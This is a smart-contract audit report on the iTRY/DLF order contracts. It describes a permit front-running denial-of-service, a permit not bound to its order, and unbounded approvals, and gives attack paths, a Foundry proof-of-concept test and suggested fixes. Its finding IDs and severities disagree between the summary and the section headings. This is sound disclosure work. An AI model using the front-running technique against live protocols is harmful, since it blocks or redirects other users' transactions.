33AUDITS & CO.

DLF Audit Report

Introduction

A security review of the iTRY protocol was done, focusing on the security aspects of the smart contracts. This audit was performed by 33Audits & Co with Samuel as the Security Researcher.

Disclaimer

A smart contract security review can never verify the complete absence of vulnerabilities. This is a time, resource, and expertise-bound effort where we try to find as many vulnerabilities as possible. We can not guarantee 100% security after the review or even if the review will find any vulnerabilities. Subsequent security reviews, bug bounty programs, and on-chain monitoring are recommended.

About 33 Audits & Company

33Audits is an independent smart contract security research company and development group. We conduct audits as a group of independent auditors with various experience and backgrounds. We have conducted over 15 audits with dozens of vulnerabilities found and are experienced in building and auditing smart contracts. We have over 4 years of smart contract development with a focus in Solidity, Rust and Move. Check our previous work here or reach out on X @33audits.

About iTRY - DLF

This audit is being performed on the core order execution and settlement contracts for iTRY. The contracts in scope include `OrderManager` and related token/permit integrations that enable mint and redeem flows with EIP-2612 permits.

Commit: 686338681d5b78f7ca5d3d966044ab0b98d2c4da - Scope: `OrderManager`, `DLFToken`, `Settlement`, `interfaces`, `libraries`

Severity Definitions

Severity	Impact: High	Impact: Medium	Impact: Low
Likelihood: High	Critical	High	Medium
Likelihood: Medium	High	Medium	Low
Likelihood: Low	Medium	Low	Low

Impact - The technical, economic, and reputation damage from a successful attack

Likelihood - The chance that a particular vulnerability gets discovered and exploited

Severity - The overall criticality of the risk

Informational - Findings in this category are recommended changes for improving the structure, usability, and overall effectiveness of the system.

Findings Summary

ID	Title	Severity	Status
[C-01]	Permit pre-consumption enables mempool DoS in with-approval workflows	Critical	Fixed
[M-03]	Approved beneficiaries can redirect funds via stolen permit	Medium	Acknowledged
[L-03]	Excessive Permit Approval Allowed	Low	Acknowledged

High

[H-01] Permit pre-consumption enables mempool DoS in with-approval workflows

Description

The `createMintOrderWithApproval` and `createRedeemOrderWithApproval` functions are vulnerable to a mempool front-running DoS where an attacker pre-consumes a victim's EIP-2612 permit, causing the victim's transaction to revert. The with-approval flows unconditionally execute the permit before validating the order or attempting transfers, which allows an attacker to invalidate the victim's permit by calling `permit()` directly first.

Snippet

```
// In createMintOrderWithApproval and createRedeemOrderWithApproval
_executePermit(order.collateral_asset, order.benefactor, permitParams);
// ... then verifyOrder and transfers
```

Attack Path

1. User creates a permit signature and submits a transaction
2. Attacker monitors mempool, extracts permit parameters (v, r, s, nonce, deadline)
3. Attacker front-runs by calling the token's `permit()` function directly
4. This consumes the permit and increments the nonce
5. When the victim's transaction executes, `_executePermit` calls `permit()` again
6. The permit reverts due to nonce mismatch, causing the entire transaction to fail

Impact

- **DoS Attack**: Attacker can repeatedly prevent users from executing orders
- **User Frustration**: Legitimate users cannot complete transactions despite having sufficient allowance
- **Protocol Disruption**: Continuous griefing attacks can make the protocol unusable

Proof of Concept

```
function test_permitDoS_success() public {
    uint128 dlfAmount = 100e18;

    // Step 1: Alice creates a legitimate permit signature
    uint256 deadline = block.timestamp + 1 hours;
    uint256 nonce = dlfToken.nonces(alice);

    bytes32 permitHash = keccak256(
      abi.encodePacked(
        "\x19\x01",
        dlfToken.DOMAIN_SEPARATOR(),
        keccak256(abi.encode(
          keccak256("Permit(address owner,address spender,uint256
value,uint256 nonce,uint256 deadline)"),
          alice,
          address(orderManagerContract),
          dlfAmount,
          nonce,
          deadline
        ))
      )
    );
    (uint8 v, bytes32 r, bytes32 s) = vm.sign(alicePrivateKey,
permitHash);

    IOrderManager.PermitParams memory alicePermitParams =
IOrderManager.PermitParams({
      value: dlfAmount,
      deadline: deadline,
      v: v,
      r: r,
      s: s
    });

    // Step 2: Alice creates her legitimate redeem order
    IOrderManager.Order memory aliceOrder = IOrderManager.Order({
      order_id: generateRandomOrderId(),
      order_type: IOrderManager.OrderType.REDEEM,
      expiry: uint120(block.timestamp + 1 hours),
      nonce: 5,
      benefactor: alice,
      beneficiary: alice,
      collateral_asset: address(permitToken),
      collateral_amount: 100e18,
      dlf_amount: dlfAmount,
      fx_rate: 3425000000
    });

    // Alice signs her legitimate order
```

```
    vm.startPrank(alice);
    bytes32 aliceOrderHash = orderManagerContract.hashOrder(aliceOrder);
    IOrderManager.Signature memory aliceSignature =
signOrder(alicePrivateKey, aliceOrderHash,
IOrderManager.SignatureType.EIP712);
    vm.stopPrank();

    // Step 3: Bob (attacker) sees Alice's transaction in mempool
    // Bob extracts the permit parameters and front-runs with direct
permit() call
    IOrderManager.Order memory maliciousOrder = IOrderManager.Order({
      order_id: generateRandomOrderId(),
      order_type: IOrderManager.OrderType.REDEEM,
      expiry: uint120(block.timestamp + 1 hours),
      nonce: 6,
      benefactor: alice,
      beneficiary: bobAttacker,
      collateral_asset: address(permitToken),
      collateral_amount: 100e18,
      dlf_amount: dlfAmount,
      fx_rate: 3425000000
    });

    // Bob signs the malicious order (using Alice's private key)
    vm.startPrank(alice);
    bytes32 maliciousOrderHash =
orderManagerContract.hashOrder(maliciousOrder);
    IOrderManager.Signature memory maliciousSignature =
signOrder(alicePrivateKey, maliciousOrderHash,
IOrderManager.SignatureType.EIP712);
    vm.stopPrank();

    // Check initial balances
    assertEq(dlfToken.balanceOf(alice), 1000e18, "Alice should have 1000
DLF initially");
    assertEq(dlfToken.balanceOf(bobAttacker), 0, "Bob should have 0 DLF
initially");

    // Step 4: Bob front-runs Alice's transaction with direct permit()
call
    vm.prank(bobAttacker);
    dlfToken.permit(alice, address(orderManagerContract), dlfAmount,
deadline, v, r, s);

    // Step 5: Alice's transaction now fails because the permit was
already consumed
    vm.prank(redeemer);
    try orderManagerContract.createRedeemOrderWithApproval(
      aliceOrder,
      aliceSignature,
      alice,
      alicePermitParams
    ) {
```

```
      fail();
    } catch Error(string memory reason) {
      console.log("String error thrown:", reason);
    } catch (bytes memory lowLevelData) {
      console.log("Low level error data:", vm.toString(lowLevelData));

      if (lowLevelData.length >= 4) {
        bytes4 errorSelector;
        assembly {
          errorSelector := mload(add(lowLevelData, 0x20))
        }
        console.log("Error selector as bytes4:",
vm.toString(errorSelector));
      }
    }
}
```

Notes:

- The DoS does not require crafting a malicious order signed by Alice; the key step is the attacker consuming the permit before the contract can. The above sequence demonstrates the nonce consumption and subsequent revert.

Recommendations

Wrap permit execution in a `try/catch` so a consumed/invalid permit does not revert the entire transaction. If allowance is already sufficient (e.g., permit previously consumed), continue to order verification and transfers.

```
function _executePermit(address token, address owner, PermitParams
memory permitParams) internal {
    try IERC20Permit(token).permit(
        owner,
        address(this),
        permitParams.value,
        permitParams.deadline,
        permitParams.v,
        permitParams.r,
        permitParams.s
    ) {
        // Permit succeeded - continue
    } catch {
        // Permit failed (likely already consumed); do not revert
        // Proceed; transfers will succeed if allowance is already
sufficient
    }
}
```

This approach is better because:

- Eliminates DoS: Attacker's front-running becomes harmless
- Graceful handling: Function continues even if permit fails
- Simpler logic: No complex allowance checking required
- More robust: Handles all types of permit failures, not just nonce mismatches

Status

Fixed - Fixed by the team.

Medium

[M-01] Approved beneficiaries can redirect funds via stolen permit

Description

The permit-based flows in `OrderManager.sol` do not bind EIP-2612 `PermitParams` to a specific `Order`. This separation allows an approved beneficiary to pair a victim's valid permit with their own malicious order (properly signed off-chain) and redirect proceeds to themselves. Current validation only checks that `permitParams.value` covers the required amount; it does not bind beneficiary, order type, amount, or order hash to the permit.

Attack Path

1. Alice generates a permit: “Alice allows `OrderManager` to spend 1000 DLF.”
2. Bob (an approved beneficiary of Alice) observes/extracts the permit from mempool or off-chain sharing.
3. Bob crafts his own order with `benefactor = Alice` and `beneficiary = Bob` and obtains a valid off-chain signature for that order.
4. Bob submits `create{Mint/Redeem}OrderWithApproval` with Alice's permit + Bob's signed order.
5. Transfers execute using Alice's funds, while Bob receives the proceeds.

This succeeds because the signature is verified against the Order only, and the permit is accepted as long as the allowance value is sufficient; there is no linkage between the two.

Impact

- **Unauthorized redirection**: Approved beneficiaries can redirect a benefactor's funds to themselves without the benefactor's intent.
- **Permissioned exposure**: Risk materializes if an approved beneficiary behaves maliciously or accounts are compromised.

Recommendations

Bind the permit to the specific order by extending `PermitParams` and enforcing equality checks during execution:

```
struct PermitParams {
    uint128 value;
    uint256 deadline;
    uint8 v;
    bytes32 r;
    bytes32 s;
    // Binding fields
    bytes32 orderHash;     // hashOrder(order)
    address beneficiary;   // must match order.beneficiary
    uint8 orderType;       // uint8(order.order_type)
}

// At execution time
bytes32 expectedOrderHash = hashOrder(order);
require(permitParams.orderHash == expectedOrderHash, "Permit not bound
to order");
require(permitParams.beneficiary == order.beneficiary, "Permit
beneficiary mismatch");
require(permitParams.orderType == uint8(order.order_type), "Permit order
type mismatch");
require(permitParams.value == order.collateral_amount, "Permit amount
mismatch");
```

Alternative mitigations include signing a combined EIP-712 struct that covers both Order and Permit intents, or using typed meta-approvals that encode beneficiary and order constraints.

Status

**Acknowledged ** The team considers the practical risk low due to the permissioned RFQ architecture and operational controls:

- Only the backend with `MINTER_ROLE` executes on-chain order functions; users do not call them directly.
- All participants are KYC/AML verified, manually whitelisted, and monitored by compliance.
- Off-chain systems issue quotes and verify signatures; anomalous beneficiary use is monitored.

Residual risk remains if a privileged backend key or a verified user account is compromised. The team will monitor and may bind permit-to-order in a future iteration. An off-chain infrastructure audit is recommended to reinforce these controls.

Low

[L-03] Excessive Permit Approval Allowed

Description

`createMintOrderWithApproval` relies on `_validatePermitParams` which only enforces a lower bound on `permitParams.value` (must be >= required amount). There is no upper bound or "reasonable amount" check, allowing users to sign very large approvals (e.g., `type(uint256).max`). While transfers only move the required amount, the remaining allowance persists beyond the transaction scope.

```
function _validatePermitParams(
  uint128 requiredAmount,
  PermitParams calldata permitParams
) internal view {
  if (permitParams.value < requiredAmount) {
    revert PermitAmountInsufficient();
  }
  if (permitParams.deadline < block.timestamp) {
    revert PermitDeadlineInvalid();
  }
}
```

Impact

- Users may unintentionally grant large or unlimited approvals, increasing exposure if the spender is later compromised.
- No direct immediate fund loss from this behavior by itself.

Team's Position and Context

- Industry standard across DeFi is to use unlimited approvals (Uniswap, Aave, Compound; OpenZeppelin treats `type(uint256).max` as unlimited).
- EIP-2612 does not require upper-bound validation.
- Architecture uses a "never-fail" pattern with graceful error handling, and only the exact required amount is transferred.
- Users retain the ability to revoke approvals off-chain (e.g., `revoke.cash`).

Recommendation

- Optional hardening: introduce a configurable upper-bound check (e.g., at most a small multiplier of the required amount) or warn when `permitParams.value` exceeds a threshold.
- Alternatively, maintain current behavior but document UX guidance to encourage revoking allowances and using wallet allowance management tools.

Status

Acknowledged — consistent with prevailing DeFi practices; no change required at this time.

Conclusion

This security audit of the iTRY-DLF protocol identified a high DoS vector in the with-approval order flows, which has been addressed and fixed by the team. The protocol demonstrated timely responsiveness to security concerns and maintains good security practices.

This report was prepared by 33Audits & Co and represents our independent security assessment of the iTRY protocol smart contracts.